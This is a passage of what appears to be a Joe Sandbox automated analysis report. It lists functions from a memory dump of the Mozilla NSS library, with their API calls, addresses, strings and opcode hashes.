free.MOZGLUE(?,?,?,?,?,?,6CC8AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CC85E47
free.MOZGLUE(?,?,?,?,6CC8AAD4,?,?,?,?,?,?,?,?,00000000,?,6CC880C1), ref: 6CC85E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CC8AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CC85E78
free.MOZGLUE(?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC85EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC85EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC85F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CC8AAD4), ref: 6CC85F4B

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 03d9ec409b099499bbde277c29adfc7ffed1de6e758c1e19e145cac02c6ee8cb
Instruction ID: 524b637210512aa7dcdb4e8809e0d59b5391bae32c4122aeb92e6a2804c2053f
Opcode Fuzzy Hash: 03d9ec409b099499bbde277c29adfc7ffed1de6e758c1e19e145cac02c6ee8cb
Instruction Fuzzy Hash: DB719BB4A01B009FE710DF20D885A93B7A5BF8930CF148929E95F87711EB32F959CB91

Function 6CC08DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CC08E22
EnterCriticalSection.KERNEL32(?), ref: 6CC08E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CC08E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CC08E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CC08E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC08EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CC08EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CC08EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CC08F00
free.MOZGLUE(?), ref: 6CC08F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CC08F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CC08F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CC08F5B
PR_Unlock.NSS3(?), ref: 6CC08F72
PR_Unlock.NSS3(?), ref: 6CC08F82

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: f6f8195dd6c3d064893107e82ea8ebac6904b2b6b7d5fc36eb5172f9ad7d21ec
Instruction ID: 0450e926c12db3b8e0608eb8b4aeb6d9b7f31f1be32c3412844b60f5813e9ecb
Opcode Fuzzy Hash: f6f8195dd6c3d064893107e82ea8ebac6904b2b6b7d5fc36eb5172f9ad7d21ec
Instruction Fuzzy Hash: 1251E6B2F002119FEB009F69CC84DAAB779FF45758B148529E8189BB50F732ED4587E1

Function 6CC2CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CC2CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CC2CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CC2CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CC2CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CC2CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CC2CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CC2CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CC2CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CC2CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CC2CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CC2CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CC2CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CC2CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CC2D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CC2D021

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: be35de926fc4d42d73a426798f06b1e01d7e2376316d088dbd89c01adc0a378d
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 95316371B5292027EF4D105AAC72FDE545A4F7630FF448038F90AEA7C0F6899A1B42E9

Function 6CD00FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CD01000

Part of subcall function 6CCB9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CBE1A48), ref: 6CCB9BB3
Part of subcall function 6CCB9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CBE1A48), ref: 6CCB9BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CD01016

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_Unlock.NSS3(?), ref: 6CD01021

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CD01046
PR_Unlock.NSS3(?), ref: 6CD0106B
PR_Lock.NSS3 ref: 6CD01079
PR_Unlock.NSS3 ref: 6CD01096
free.MOZGLUE(?), ref: 6CD010A7
free.MOZGLUE(?), ref: 6CD010B4
PR_DestroyCondVar.NSS3(?), ref: 6CD010BF
PR_DestroyCondVar.NSS3(?), ref: 6CD010CA
PR_DestroyCondVar.NSS3(?), ref: 6CD010D5
PR_DestroyCondVar.NSS3(?), ref: 6CD010E0
PR_DestroyLock.NSS3(?), ref: 6CD010EB
free.MOZGLUE(?), ref: 6CD01105

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 35296b702902e39478a81158051ec98b66d66b772e5564af8b7a7fcf9e17210f
Instruction ID: 7fc2fd335b570ee1c56474e1eee6b416d09830778d73972a5fa801db2fcf3cfc
Opcode Fuzzy Hash: 35296b702902e39478a81158051ec98b66d66b772e5564af8b7a7fcf9e17210f
Instruction Fuzzy Hash: CB31ADB5A00441ABEB01AF14EC41A49B775BF0135DF484130E80912FA1E772F878DBD2

Function 6CB7DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CB7DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CB7DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CB7DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CB7DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB7DECD

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB7DF6D, 6CB7DFCC, 6CB7DFDD
%s at line %d of [%.10s], xrefs: 6CB7DF7C, 6CB7DFEC
database corruption, xrefs: 6CB7DF77, 6CB7DFE7

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: caae971262163bd58a1320229c4d1d5017e520af377d18a49d11cd4fe2eefd0a
Instruction ID: d7d8ecf8ea06bfed6ca6da4c304a99640be22324c7d1b782b948cc85fb2e9d5f
Opcode Fuzzy Hash: caae971262163bd58a1320229c4d1d5017e520af377d18a49d11cd4fe2eefd0a
Instruction Fuzzy Hash: 5AA106717042919FD720CF39D480A6AB7F5EF85348F15892CEC999BB51E730E845CBA2

Function 6CC3EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CC3EE0B

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC3EEE1

Part of subcall function 6CC31D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CC31D7E
Part of subcall function 6CC31D50: EnterCriticalSection.KERNEL32(?), ref: 6CC31D8E
Part of subcall function 6CC31D50: PR_Unlock.NSS3(?), ref: 6CC31DD3

TlsGetValue.KERNEL32 ref: 6CC3EE51
EnterCriticalSection.KERNEL32(?), ref: 6CC3EE65
PR_Unlock.NSS3(?), ref: 6CC3EEA2
free.MOZGLUE(?), ref: 6CC3EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CC3EED0
PR_Unlock.NSS3(?), ref: 6CC3EF48
free.MOZGLUE(?), ref: 6CC3EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CC3EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CC3EFA4
free.MOZGLUE(?), ref: 6CC3EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CC3F055
free.MOZGLUE(?), ref: 6CC3F060

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 6c166fa3230c1382721fd6b671ee4cc64fa0d1779b1a154f15a9636a31258514
Instruction ID: 9df8e4c50f97f494b8db57f73af3ab93bfeecd02223879790ae135b028c1c5c8
Opcode Fuzzy Hash: 6c166fa3230c1382721fd6b671ee4cc64fa0d1779b1a154f15a9636a31258514
Instruction Fuzzy Hash: FF816071A00215AFEF00DF65EC85ADE7BB9BF48318F555028E909A3651F731E924CBA1

Function 6CC04CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CC04D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CC04D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CC04DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC04E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CC04E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CC04E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CC04E85
DER_Encode_Util.NSS3(?,?,6CD505A4,00000000), ref: 6CC04EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CC04F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CC04F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC04F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC04F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC04F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC04FC8

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 9a97d39e7e4f933143f67269c5b16cc8c01fe70bc39dc7fc2b79319b507a36b6
Instruction ID: 3f3647c43a226b45b3b53ba31050f39f6629a0ce1a38a801d603315899dccc2f
Opcode Fuzzy Hash: 9a97d39e7e4f933143f67269c5b16cc8c01fe70bc39dc7fc2b79319b507a36b6
Instruction Fuzzy Hash: 70818071A08301AFE701CF29D880B5BB7E8AB94758F15892DF958DB641F732E905CB92

Function 6CC45C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CC45C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CC45CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CC45CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CC45D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CC45D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC45D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CC45E18
TlsGetValue.KERNEL32 ref: 6CC45E5E
EnterCriticalSection.KERNEL32(?), ref: 6CC45E72
PR_Unlock.NSS3(?), ref: 6CC45E8B

Part of subcall function 6CC3F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CC3F854
Part of subcall function 6CC3F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CC3F868
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CC3F882
Part of subcall function 6CC3F820: free.MOZGLUE(04C483FF,?,?), ref: 6CC3F889
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CC3F8A4
Part of subcall function 6CC3F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CC3F8AB
Part of subcall function 6CC3F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CC3F8C9
Part of subcall function 6CC3F820: free.MOZGLUE(280F10EC,?,?), ref: 6CC3F8D0

Strings

d, xrefs: 6CC45C36
tokens=[0x%x=<%s>], xrefs: 6CC45D3D

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: d61e3b205fc3134b6b08020cb03312a678cf9262b5d12f5fe3f1bdaaee0bcfbe
Instruction ID: 9538cafdf9f7143d7b1d69fdd23d56cb7ab139ed78b226005e94fdb9af0edac7
Opcode Fuzzy Hash: d61e3b205fc3134b6b08020cb03312a678cf9262b5d12f5fe3f1bdaaee0bcfbe
Instruction Fuzzy Hash: AE71D2F1E041019BEB00AF25EC45B6E3279BF4531CF14C435E9099AB42FB36E919CB92

Function 6CC38F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CC39582), ref: 6CC38F5B

Part of subcall function 6CC4BE30: SECOID_FindOID_Util.NSS3(6CC0311B,00000000,?,6CC0311B,?), ref: 6CC4BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CC38F6A

Part of subcall function 6CC50FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
Part of subcall function 6CC50FF0: PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016
Part of subcall function 6CC50FF0: PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC38FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CC38FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CD1D820,6CC39576), ref: 6CC38FF9
DER_GetInteger_Util.NSS3(?), ref: 6CC3901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CC3903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC39062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CC390A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CC390CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CC390F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC3912D
free.MOZGLUE(00000000), ref: 6CC39136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC39145

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: bdb709f98d0e27f7cbceebcb875e7317de6aacb1c8b474a119dec6d185813b31
Instruction ID: b450d69fecd1e19efdfb2f7f0917f4b728ca6b29e4d8b82683131adccf46965f
Opcode Fuzzy Hash: bdb709f98d0e27f7cbceebcb875e7317de6aacb1c8b474a119dec6d185813b31
Instruction Fuzzy Hash: 1051F4B1A042109BE700DF28EC81B9BB7F4AF88318F054529E959D7741FB35E959CBD2

Function 6CD04960 Relevance: 21.1, APIs: 14, Instructions: 121COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000004,?,6CD08061,?,?,?,?), ref: 6CD0497D
OpenSemaphoreA.KERNEL32(00100002,00000000,?), ref: 6CD0499E
GetLastError.KERNEL32(?,?,6CD08061,?,?,?,?), ref: 6CD049AC
PR_SetError.NSS3(FFFFE8C2,0000007B,?,?,6CD08061,?,?,?,?), ref: 6CD049C2

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_SetError.NSS3(FFFFE890,00000000,?,?,6CD08061,?,?,?,?), ref: 6CD049D6
CreateSemaphoreA.KERNEL32(00000000,6CD08061,7FFFFFFF,?), ref: 6CD04A19
GetLastError.KERNEL32(?,?,?,?,6CD08061,?,?,?,?), ref: 6CD04A30
PR_SetError.NSS3(FFFFE8C9,000000B7,?,?,?,?,6CD08061,?,?,?,?), ref: 6CD04A49
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,6CD08061,?,?,?,?), ref: 6CD04A52
GetLastError.KERNEL32(?,?,?,?,6CD08061,?,?,?,?), ref: 6CD04A5A
free.MOZGLUE(00000000,?,?,?,?,?,6CD08061,?,?,?,?), ref: 6CD04A6A
CreateSemaphoreA.KERNEL32(?,6CD08061,7FFFFFFF,?), ref: 6CD04A9A
free.MOZGLUE(?,?,?,?,?,6CD08061,?,?,?,?), ref: 6CD04AAE
free.MOZGLUE(?,?,?,?,?,6CD08061,?,?,?,?), ref: 6CD04AC2

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Error$LastSemaphorefree$Create$CloseHandleOpenValuemalloc
String ID:
API String ID: 2092618053-0
Opcode ID: 8688a29b557f57d4a7fdc997c05206b60d6a9490b5c36fd277c6b05bca1ec056
Instruction ID: 89623bb956f6463c2b36bc39559aa27906031e87507357bcfadbccc0faeb80c1
Opcode Fuzzy Hash: 8688a29b557f57d4a7fdc997c05206b60d6a9490b5c36fd277c6b05bca1ec056
Instruction Fuzzy Hash: B341D670B002059BEF00BFAC9C85F5A77B8AB9935DF144138EE19A7751EB3194088765

Function 6CD0C8A0 Relevance: 21.1, APIs: 14, Instructions: 94stringCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000020), ref: 6CD0C8B9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD0C8DA
malloc.MOZGLUE(00000001), ref: 6CD0C8E4
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CD0C8F8
PR_NewLock.NSS3 ref: 6CD0C909
PR_NewCondVar.NSS3(00000000), ref: 6CD0C918
PR_NewCondVar.NSS3(00000000), ref: 6CD0C92A

Part of subcall function 6CBE0F00: PR_GetPageSize.NSS3(6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F1B
Part of subcall function 6CBE0F00: PR_NewLogModule.NSS3(clock,6CBE0936,FFFFE8AE,?,6CB716B7,00000000,?,6CBE0936,00000000,?,6CB7204A), ref: 6CBE0F25

free.MOZGLUE(00000000), ref: 6CD0C947

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Cond$LockModulePageSizecallocfreemallocstrcpystrlen
String ID:
API String ID: 2931242645-0
Opcode ID: 3e8869e6b66935835dcd18c0a833fea8f9cb1ec5728df47b12a81d89c195b820
Instruction ID: 6844ac36551ededa47909ef729d2fc2e7538cdd4c2c9de9ed8f3f53794995a08
